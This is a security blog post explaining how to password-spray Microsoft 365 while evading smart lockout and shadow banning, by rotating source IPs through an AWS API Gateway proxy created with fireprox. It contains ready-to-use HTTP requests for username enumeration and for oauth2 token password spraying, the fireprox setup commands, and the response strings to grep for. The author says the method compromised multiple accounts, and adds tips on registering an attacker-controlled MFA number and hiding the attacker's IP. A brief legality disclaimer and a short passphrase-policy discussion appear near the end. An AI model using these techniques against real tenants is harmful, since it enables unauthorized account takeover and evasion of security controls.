Defeating Microsoft 365 Smart Lockout When Password Spraying




Microsoft 365 (formerly Office365) has hardened their defenses significantly recently. It used to be possible to send thousands of username enumeration or password spraying requests before Microsoft would begin shadow banning the IP address and sending deceptive responses which claim valid users are invalid. But now their defenses have become so tight, that it's difficult to even perform a few dozen password spraying requests without getting shadow banned or triggering their smart lockout feature.

There is a way, however, to defeat these defenses, at the time of this post. It involves using a proxy built in AWS API Gateway. In fact, there's a command line tool that will setup the proxy called fireprox from @ustayready. The way fireprox works, is that you give it your AWS creds and the URL that is your ultimate target. Fireprox then talks to AWS and builds you an API that proxies your requests to that target. When performing a password spray against Microsoft 365, you can hit the API URL that fireprox gives you and it will be proxied to Microsoft 365. The request will appear to Microsoft 365 that it came from an AWS IP address since it was proxied through their infrastructure. Also, the IP address that Microsoft 365 sees changes with each request, which helps keep you from being shadow banned. This can be used in concert with a tool like Burp Suite to password spray with great effect.

EDIT 2/11/22: It's been 10 days since my blog post, and already Microsoft seems to be blocking AWS API egress IP addresses.

SECOND EDIT 2/12/22: Now it appears they aren't auto-throttling AWS API IP addresses as I thought they were in my first edit. I'm thinking there must have just been a lot of hackers using this attack simultaneously and got the IP addresses temporarily blocked. It's working fine now.



While playing with this, I became curious how many egress IP addresses AWS API Gateway would alternate sending the requests through, so I performed a test of 1,000 requests through such a proxy API in us-west-1, to check things out. My test targeted icanhazip.com with 1,000 requests and saved them to a text file. The screenshot below shows this process.



As you can see, this resulted in showing 380 unique IP addresses within these 1,000 requests. Not bad. Maybe some regions even have more. This is certainly enough to defeat Microsoft's defenses most of the time, even if some requests may be shadow banned here and there. And it's certainly easy to setup. It only took one command to set it up with fireprox:

sudo docker run --rm -it fireprox --access_key XXX --secret_access_key YYY --region us-west-1 --command create --url https://icanhazip.com

But enough playing around. Let's get to the attack on Microsoft 365. Firstly, for this attack, I made sure that I had some good requests working before I used fireprox. I tried a few, but below is the one that I initially used for user enumeration against https://login.microsoftonline.com. This is not the only one I'll be providing in this post, but what I like about it is that it only checks the username, and not a password:


POST /common/GetCredentialType?mkt=en-US HTTP/1.1
Host: login.microsoftonline.com
Content-Length: 68
Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: application/json; charset=UTF-8
Hpgid: 1104
Accept: application/json
Hpgact: 1800
Origin: https://login.microsoftonline.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"username":"john@example.com","isOtherIdpSupported":true,}


If you have any trouble with any of the requests in this post, including the one above, try turning off URL encoding for the payload. Also, according to Red Seige, the request above "only works for Exchange Online customers who don't have on-prem or hybrid deployments". It worked for the Microsoft 365 accounts I tested. The responses should give you an IfExistsResult value and a ThrottleStatus value. If the latter is anything other than 0, Microsoft is throttling you and you're being shadow banned with deceptive responses. The former's response values can be deciphered like so:

0 = Valid username
1 = Invalid username
5 = Valid username
6 = Valid username

Let me also include an older EWS-based password spraying request I haven't used in a while and should only work if the target is a legacy customer with EWS enabled in Microsoft 365. (Not sure if this one still works and be aware that Microsoft will be disabling basic auth soon.) This request should be sent to https://outlook.office365.com and may or may not help you, but I want to put it out there just in case:



GET /EWS/Exchange.asmx HTTP/1.1
Host: outlook.office365.com
Cache-Control: max-age=0
Authorization: Basic <credentials>
Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


Note that you'll need to do some payload tweaks with Burp Intruder to get the username and password Base64 encoded in the authorization header.

But the best HTTP request, and the one I finally settled on for the attack, was this one, which is sent to https://login.microsoftonline.com:


POST /common/oauth2/token HTTP/1.1
Host: login.microsoftonline.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Encoding: gzip, deflate
Accept: application/json
Connection: close
Accept-Language: en-US,en;q=0.5
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 176

resource=https%3A%2F%2Fgraph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=john-doe%40example.com&password=Winter2022&scope=openid


Various sources online seem to indicate that the client_id in this above request is a generic one having to do with Azure, so you should be able to use it in your request as well. If you're wondering how I came up with this request, I often proxy various password spraying tools through Burp in order to learn how they work or intercept useful requests. This particular request I found using o365spray. That tool doesn't have a straightforward way to integrate with fireprox, so I decided to just PiTM (person-in-the-middle) the tool and grab the spray request to use on my own.

Before we can run the actual attack, we need to run fireprox to setup the proxy in AWS. Run the fireprox command and it will spit out an API URL for you:

sudo docker run --rm -it fireprox --access_key XXX --secret_access_key YYY --region us-west-1 --command create --url https://login.microsoftonline.com

Lastly, let's go ahead and run the password spraying attack in concert with fireprox. The only things you need to change are the target, path, and host. Take the URL provided by fireprox and use it for the target. Use that same URL's DNS name for the host header. For the path, prepend this: /fireprox

In the end, your request should look something like this, with the Intruder position being the username value and the password being static:


POST /fireprox/common/oauth2/token HTTP/1.1
Host: example.execute-api.us-west-1.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Encoding: gzip, deflate
Accept: application/json
Connection: close
Accept-Language: en-US,en;q=0.5
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 176

resource=https%3A%2F%2Fgraph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=john-doe%40example.com&password=Winter2022&scope=openid



The way this works, is that the API receives the HTTP request, removes the /fireprox portion of the path, replaces the host header with the correct one, and then proxies the request to Microsoft 365. During my tests, I found that I had a good success rate with this, compromising multiple accounts and successfully defeating Microsoft's defenses.

Below are some strings which can be found within responses which you can grep for using Intruder:

  • error validating credentials
  • does not exist
  • locked
  • interaction_required

Keep in mind that these responses can be false if Microsoft is shadow banning you. Especially the "does not exist" and "locked" responses - though "locked" responses can sometimes be legitimate, so be careful not to DoS the target organization. The "interaction_required" response refers to MFA being required after successfully cracking the password, but don't lose hope if you run up against MFA because sometimes a user hasn't enrolled their phone number yet and you can enroll a number you control. There are likely other responses that you will encounter which I didn't come across. Feel free to comment if you encounter others and want to share. As an example, my test targets used MFA, but if your target doesn't use MFA, you may get a different response for a cracked password. Just keep an eye on 2 things, in regard to unknown responses:

  • Size (high byte count)
  • Responses which aren't flagged by any of your grepped strings
As always, it goes without saying that this attack is illegal if you don't have permission of the organization/entity whose accounts you are testing. This post is merely the findings of my research and it's up to you to exercise responsibility. Which brings me to pose this question regarding the conclusion of this research: What is the actual vulnerability? Does Microsoft need to patch this? Or is it ultimately just a weak password issue, uncovered by password spraying? I tend toward the latter.

Sometimes organizations' security staff run into political hurdles trying to strengthen the Microsoft 365 password/passphrase policy. To try to mitigate this, they often implement MFA in concert with smart lockout. Perhaps one day, a stronger authentication mechanism can be shown to solve all of this. But for now, it's important not to rely solely on other defenses like MFA or smart lockout to mitigate weak passwords. Security is about layers, and all the layers need to be there, including passphrases. Organizations need to implement password policies which favor length over complexity and train users on how to create effective passwords/passphrases.

THIRD EDIT 2/12/22:
I did some testing to see what the actual fireprox request looks like when it reaches Microsoft and gained some important insight. To do this, I created a fireprox link that points to Burp collaborator. The screenshot is below, and shows some interesting headers. One of the headers is X-Forwarded-For, which shows the original IP address. This can be a serious OPSEC issue because the attacker's IP address may be revealed, even when behind the proxy. It seems that running this attack from a VPN, etc., might be best.


 

References:

https://bond-o.medium.com/microsoft-office-365-enumeration-58f9b5ba21c8

https://bond-o.medium.com/aws-pass-through-proxy-84f1f7fa4b4b

https://github.com/dafthack/MSOLSpray



Comments

Popular Posts